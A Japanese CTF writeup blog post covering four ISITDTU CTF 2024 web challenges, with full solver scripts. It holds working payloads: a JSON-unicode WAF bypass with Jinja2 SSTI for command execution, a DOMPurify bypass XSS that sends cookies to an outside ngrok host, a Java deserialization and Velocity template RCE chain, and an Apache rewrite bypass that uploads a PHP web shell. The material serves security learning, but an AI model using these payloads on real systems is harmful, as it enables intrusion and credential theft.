👻

ISITDTU CTF 2024 - web writeup

2024/11/02に公開

先週末はISITDTU CTFに参加しまして、Web問題が2/7問しか解けず残念な結果となってしまいました。あまり時間取れなかったり、友人とCryptoにチャレンジしてたり、あと開催時間を勘違いしていたりと言い訳はできるものの、実力不足が一番の原因であることは変わらなそうです...

解いた問題2問 + 時間内にチャレンジした問題のupsolve2問のwriteupです。

✅ Another one (100pts 103/315solves クリア率33%)

ユーザーを作成できる/registerがある。ユーザー名・パスワードに加えてroleが付与されるが、これがadminだと後述するSSTIができるようになるので、権限昇格が第一ステップとなる。

app.py
@app.route('/register', methods=['POST'])
def register():
    json_data = request.data
    if "admin" in json_data:
        return jsonify(message="Blocked!")
    data = ujson.loads(json_data)
    username = data.get('username')
    password = data.get('password')
    role = data.get('role')
    
    if role !="admin" and role != "user":
        return jsonify(message="Never heard about that role!")
    
    if username == "" or password == "" or role == "":
        return jsonify(messaage="Lack of input")
    
    if register_db(connection, username, password, role):
        return jsonify(message="User registered successfully."), 201
    else:
        return jsonify(message="Registration failed!"), 400

入力にadminの文字列が含まれるとWAFに引っかかってしまうので、これを回避する必要がある。データはujsonというライブラリでjson形式の文字列から辞書型に変換される。変換前はadminが含まれないが、この変換後にadminが含まれるような特殊な文字列を探したい。

検索していると、An Exploration of JSON Interoperability Vulnerabilitiesという記事を発見した。これを参考にしてadm\\ud888inというroleにしたところ、WAFを回避することができた。

次にSSTIができる/renderというエンドポイントがある

app.py
@app.route('/render', methods=['POST'])
def dynamic_template():
    token = request.cookies.get('jwt_token')
    if token:
        try:
            decoded = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            role = decoded.get('role')

            if role != "admin":
                return jsonify(message="Admin only"), 403
            data = request.get_json()
            template = data.get("template")
            rendered_template = render_template_string(template)
            
            return jsonify(message="Done")

        except jwt.ExpiredSignatureError:
            return jsonify(message="Token has expired."), 401
        except jwt.InvalidTokenError:
            return jsonify(message="Invalid JWT."), 401
        except Exception as e:
            return jsonify(message=str(e)), 500
    else:
        return jsonify(message="Where is your token?"), 401

チートシートを見ればわかる通り、次のコマンドでRCEが可能。

{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}

しかし、この結果はそのままでは表示されないので、エラーが発生した場合はそのエラー文が返ってくることを利用する。int関数は入力された文字列が数値に変換できない場合、その文字列を含むエラー文を吐くので、上記のスクリプトをそのままint関数に入れると結果を見ることができる。

したがって、以下でフラグを入手した。

solver.py
import requests

# URL = "http://MYLOAFWnfKXwmzhJ:mnEwBXeVKSHbLoGW@20.198.254.169:64609/"
URL = "http://localhost:8082/"

s = requests.session()
json = """{"username": "user", "password": "pass", "role": "adm\\ud888in"}"""
r = s.post(URL + "register", data=json)
r = s.post(URL + "login", json={
    "username": "user",
    "password": "pass"
})
s.cookies["jwt_token"] = r.json()["message"]
# command = 'ls'
command = 'cat ow2z2yy4tghv'
payload = f"""
{{{{ config.__class__.from_envvar.__globals__.__builtins__.int(config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen('{command}').read()) }}}}
"""
r = s.post(URL + "render", json={
    "template": payload
})
print(r.text)

✅ X Éc Éc (100pts 63/315solves クリア率20%)

ノートを保存できるサイト。ソースコードは配布されていないが、ヒントとして"dependencies": {"dompurify": "^3.1.6"}が与えられている。

ヒントの通り、DOMPurifyが使われているのだろうと思い、<h1>foobar</h1>を入力したところ、太文字で表示されたが、<script>alert(1)</script>などは削除されることが確認できた。

また、調べたところDOMPurifyの最新版は3.1.7であり、これは一つ前の情報であることがわかる。変更ログを見てみると、

Fixed an issue with comment detection and possible bypasses with specific config settings, thanks @masatokinugawa

これはTwitter(現X)で見たことあるやつだ!と思い、報告者のアカウントを漁るとpayloadが見つかった。

以下のペイロードを作成すると、無事XSSができた。

<svg><a><foreignobject><a><table><a></table><style><!--</style></svg><a id="-><img src onerror=document.location.assign('https://tchenio.ngrok.io/?c='+document.cookie)>">

hihi (287pts 20/315solves クリア率6.3%)

48時間開催だと勘違いして20分フラグ提出が遅れてしまいました...

app.jarというファイルが配布されるので、jd-guiでデコンパイルすると、/のPOSTにSSTIができそうな雰囲気があることがわかる。

com.isitdtu.hihi.Controllers.MainController.class
@Controller
public class MainController {
  @GetMapping({"/"})
  @ResponseBody
  public String index() {
    return "hey";
  }
  
  @PostMapping({"/"})
  @ResponseBody
  public String hello(@RequestParam("data") String data) throws IOException {
    String name, hexString = new String(Base64.getDecoder().decode(data));
    byte[] byteArray = Encode.hexToBytes(hexString);
    ByteArrayInputStream bis = new ByteArrayInputStream(byteArray);
    SecureObjectInputStream secureObjectInputStream = new SecureObjectInputStream(bis);
    try {
      Users user = (Users)secureObjectInputStream.readObject();
      name = user.getName();
    } catch (Exception e) {
      throw new RuntimeException(e);
    } 
    if (name.toLowerCase().contains("#"))
      return "But... For what?"; 
    String templateString = "Hello, " + name + ". Today is $date";
    Velocity.init();
    VelocityContext ctx = new VelocityContext();
    LocalDate date = LocalDate.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("MMMM dd, yyyy");
    String formattedDate = date.format(formatter);
    ctx.put("date", formattedDate);
    StringWriter out = new StringWriter();
    Velocity.evaluate((Context)ctx, out, "test", templateString);
    return out.toString();
  }
}

まず、与えられたdataをbase64でデコードし、デコードされた16進数をバイト列に変換している。これをSecureObjectInputStreamに与えてUserクラスを生成している。調べると、これはバイト列からjavaオブジェクトをデシリアライズできる仕組みのようだ。

デコンパイルした結果を元に、次のようなコードでシリアライズできるようにした。

Users.java
import java.io.Serializable;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Users implements Serializable {
  private String name;
  
  private static final long serialVersionUID = 8107928321213067187L;
  
  public String getName() {
    return this.name;
  }
  
  public void setName(String name) {
    this.name = name;
  }
  public static void main(String[] args) {
      Users user = new Users();
      user.setName("");

      try (FileOutputStream fos = new FileOutputStream("users.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            
          oos.writeObject(user); 
      } catch (IOException e) {
          e.printStackTrace();
      }
  }
}

これで、以下を実行すると、シリアライズされたクラスのバイナリusers.serが生成される。

$ javac Users.java
$ java Users

ただし、パッケージ名がcom.isitdtu.hihi.Usersでないといけないので、python側で修正した。調べたところ、最初の6バイトがバージョン情報や、クラスの開始コードなどで、その後に2バイトのパッケージ名の長さ、その後にパッケージ名、と続く。また、nameの情報は、最後に2バイトの文字列の長さ、その後に文字列、と続く。

solver.py
import requests
import os
import re
import struct
from base64 import b64encode
URL = "http://localhost:8081/"

os.system("javac Users.java")
os.system("java Users")
b = open("users.ser", "rb").read()

payload = f"Bob"
package = b"com.isitdtu.hihi.Users"
b = b[:6] + struct.pack('>H', len(package)) + package + b.split(b"Users")[1][:-2] + struct.pack('>H', len(payload)) + payload

s = requests.session()
r = s.post(URL, data={
    "data": b64encode(b.hex().encode())
})
x = re.findall(r"Hello, (.+)\.", r.text)[0]
print(x)

nameはVelocityというテンプレートエンジンを通して表示されるので、ここからSSTIにつなげたい。PayloadAllTheThingに少しRCEまでのつなげ方が載っているが、#が利用できないのでそのままでは行えない。特に、#を利用しないと変数宣言ができないので、唯一与えられている$dateという文字列からRCEまでの関数までつなげる必要がありそうだ。

いろいろ試行錯誤したところ、以下でうまく行った。

$date.getClass().forName('java.lang.Runtime').methods[0].invoke(null,null).exec('{cmd}').inputStream.readAllBytes()

以下が完全なソルバー

solver.py
import requests
import os
import re
import struct
from base64 import b64encode
URL = "http://localhost:8081/"

os.system("javac Users.java")
os.system("java Users")
b = open("users.ser", "rb").read()

cmd = "ls"
payload = f"$date.getClass().forName('java.lang.Runtime').methods[0].invoke(null,null).exec('{cmd}').inputStream.readAllBytes()".encode()
package = b"com.isitdtu.hihi.Users"
b = b[:6] + struct.pack('>H', len(package)) + package + b.split(b"Users")[1][:-2] + struct.pack('>H', len(payload)) + payload

s = requests.session()
r = s.post(URL, data={
    "data": b64encode(b.hex().encode())
})
x = re.findall(r"Hello, (.+)\.", r.text)[0]
print(bytes(eval(x)).decode())

S1mple (100pts 35/315solves クリア率11%)

solve数の割に解けなかったのが結構悔やまれます。こういう問題を落とさないようになりたいです。

以下のDockerfileが渡される。servertest2008/simplehttpserverというdockerhubにアップロードされたイメージを解析することが目的となりそう。

FROM servertest2008/simplehttpserver:1.4

EXPOSE 80
RUN echo "flag_here" > /.htpasswd
CMD ["/bin/bash", "/start.sh"]

docker historyコマンドにより、イメージを構成する際のコマンドをすべて見ることができる。

$ docker history s1mple-app:latest                                                                                                                                4:03:13 
IMAGE          CREATED        CREATED BY                                      SIZE      COMMENT
a9ce8acb10b0   5 days ago     CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      5 days ago     RUN /bin/sh -c echo "flag_here" > /.htpasswd…   10B       buildkit.dockerfile.v0
<missing>      5 days ago     EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      7 days ago     /bin/bash /start.sh                             89.8kB    
<missing>      7 days ago     CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      7 days ago     RUN /bin/sh -c echo "flag" > /.htpasswd # bu…   5B        buildkit.dockerfile.v0
<missing>      7 days ago     EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      8 weeks ago    /bin/bash /start.sh                             44.2kB    
<missing>      8 weeks ago    CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      8 weeks ago    RUN /bin/sh -c echo "ISITDTU{test_apache_con…   41B       buildkit.dockerfile.v0
<missing>      8 weeks ago    EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      8 weeks ago    /bin/bash /start.sh                             38.3kB    
<missing>      2 months ago   /bin/bash /start.sh                             31kB      
<missing>      2 months ago   CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c echo "ISITDTU{apache_confusio…   36B       buildkit.dockerfile.v0
<missing>      2 months ago   EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      2 months ago   /bin/bash /start.sh                             31.2MB    
<missing>      2 months ago   CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c echo "this_is_secret_password…   24B       buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c echo "ISITDTU{apache_confusio…   36B       buildkit.dockerfile.v0
<missing>      2 months ago   EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      2 months ago   /bin/bash /start.sh                             264MB     
<missing>      2 months ago   CMD ["/bin/bash" "/start.sh"]                   0B        buildkit.dockerfile.v0
<missing>      2 months ago   EXPOSE map[80/tcp:{}]                           0B        buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c chmod 755 /start.sh # buildkit   207B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY ./scripts/start.sh /start.sh # buildkit    207B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY .htaccess /var/www/html/src/ # buildkit    489B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY src/ /var/www/html/src/ # buildkit         588B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY config/php/fpm/xdebug.ini /etc/php/7.0/…   52B       buildkit.dockerfile.v0
<missing>      2 months ago   COPY config/php/fpm/pool.d/www.conf /etc/php…   4.85kB    buildkit.dockerfile.v0
<missing>      2 months ago   COPY config/php/fpm/php.ini /etc/php/7.0/fpm…   71.4kB    buildkit.dockerfile.v0
<missing>      2 months ago   COPY ./config/apache/000-default.conf /etc/a…   613B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY config/supervisord/conf.d/ /etc/supervi…   481B      buildkit.dockerfile.v0
<missing>      2 months ago   COPY config/supervisord/supervisord.conf /et…   1.18kB    buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c mkdir -p /run/php/ # buildkit    0B        buildkit.dockerfile.v0
<missing>      2 months ago   RUN /bin/sh -c apt-get update     && apt-get…   266MB     buildkit.dockerfile.v0
<missing>      2 months ago   ENV DEBIAN_FRONTEND=noninteractive              0B        buildkit.dockerfile.v0
...

ISITDTU{apache_confusion_by_orange}のような文字列があるが、これは偽のフラグだった。ただ、apacheの設定がおかしいというヒントの可能性は高そうだ。config/apache/000-default.confが書き換えられているので、その内容を見てみる。

<VirtualHost *:80>
    DocumentRoot /var/www/html/src

    <FilesMatch "\.php$">
        SetHandler  "proxy:unix:/run/php/php7.0-fpm.sock|fcgi://localhost/"
    </FilesMatch>

    <Proxy "fcgi://localhost/" enablereuse=on max=10>
    </Proxy>

    <Directory /var/www/html/src/>
        Options FollowSymLinks
        AllowOverride All
    </Directory>


    RewriteEngine On
    RewriteRule  ^/website-(.*).doc$   /$1.html

    RewriteCond %{REQUEST_METHOD} OPTIONS
    RewriteRule ^(.*)$ $1 [R=200,L]

    ErrorLog ${APACHE_LOG_DIR}/error_php.log
    CustomLog ${APACHE_LOG_DIR}/access_php.log combined

</VirtualHost>

Hacktricksにある通り、RewriteRule ^/website-(.*).doc$ /$1.htmlのような書き換えを行ってしまうと、ルートディレクトリからのファイルマッチにも対応してしまうことになる。さらに、この書き換えによりURLデコードされるので、例えば、/website-path/to/file%3F.doc(%3F?のURLエンコード)は、/path/to/file?.htmlに書き換えられる。これを利用して、任意のディレクトリのphpファイルを読み込むことができる。

(CTF当日は、ルートディレクトリから読み取れることに気づかず...少なくとも試してみるべきでした。)

find / -name "*.php"などでファイルを探すと、/usr/share/vulnx/shell/VulnX.phpというファイルがアップロードされていることがわかる。これを利用すると、好きなファイルをアップロードできそうだ。

VulnX.php
<html>
</html>

<?php

error_reporting(0);
set_time_limit(0);

if($_GET['Vuln']=="X"){
echo "<center><b>Uname:".php_uname()."<br></b>"; 
echo '<font color="black" size="4">';
if(isset($_POST['Submit'])){
    $filedir = "uploads/"; 
    $maxfile = '2000000';
    $mode = '0644';
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if(isset($_FILES['image']['name'])) {
        $qx = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $qx);
        @chmod ($qx, octdec($mode));
echo" <a href=$userfile_name><center><b>Uploaded Success ==> $userfile_name</b></center></a>";
}
}
else{
echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
}
echo '</center></font>';

}
?>

ただし、アップロード先である/usr/share/vulnx/shell/uploadsはディレクトリに書き込み権限がないが、/usr/share/vulnx/shell/shell.htmlというファイルには書き込み権限があるので、このファイルの中身を書き換えることしかできない。

そこで、admin.phpというファイルを利用する。このファイルは、.htaccessによりbasic認証の制限がある。.htaccessが、

<Files "admin.php">
    AuthType Basic 
    AuthName "Admin"
    AuthUserFile "/.htpasswd"
    Require valid-user
</Files>

のように完全一致で書かれていたため、/admin.php%3F.phpのようにアクセスすることで認証を回避できる。その内容は以下の通り。

admin.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Page</title>
</head>
<body>
    <h1>Welcome to the Admin Page</h1>

<?php 
error_reporting(0);

if (isset($_GET['pages']) && !empty($_GET['pages']))
{
	$page = "./pages/" . $_GET['pages'] . ".html";
	include($page);
}
else
{
	echo '<a href="?pages=1"> Link </a>';
}
?>
</body>
</html>

このファイルは、ディレクトリトラバーサルにより、サーバー内の任意のhtmlファイルを読み込むことができるので、これを利用してshell.htmlを読み込むことができる。

以下が最終的なソルバー

import requests
from base64 import b64encode

# URL = "http://35.240.202.218:8000/"
URL = "http://localhost:3000/"
s = requests.session()

r = s.post(URL + "website-usr/share/vulnx/shell/VulnX.php%3fVuln=X&a=.doc", files={
    "image": ('shell.html', b'<pre><?php system($_GET["cmd"]);?></pre>')
}, data={
    "Submit": "true"
})
print(r.status_code)
print(r.text)

r = s.get(URL + "admin.php%3f.php", params={
    "pages": "../../../../../../../usr/share/vulnx/shell/uploads/shell",
    "cmd": "cat /.htpasswd"
})
print(r.status_code)
print(r.text)

Discussion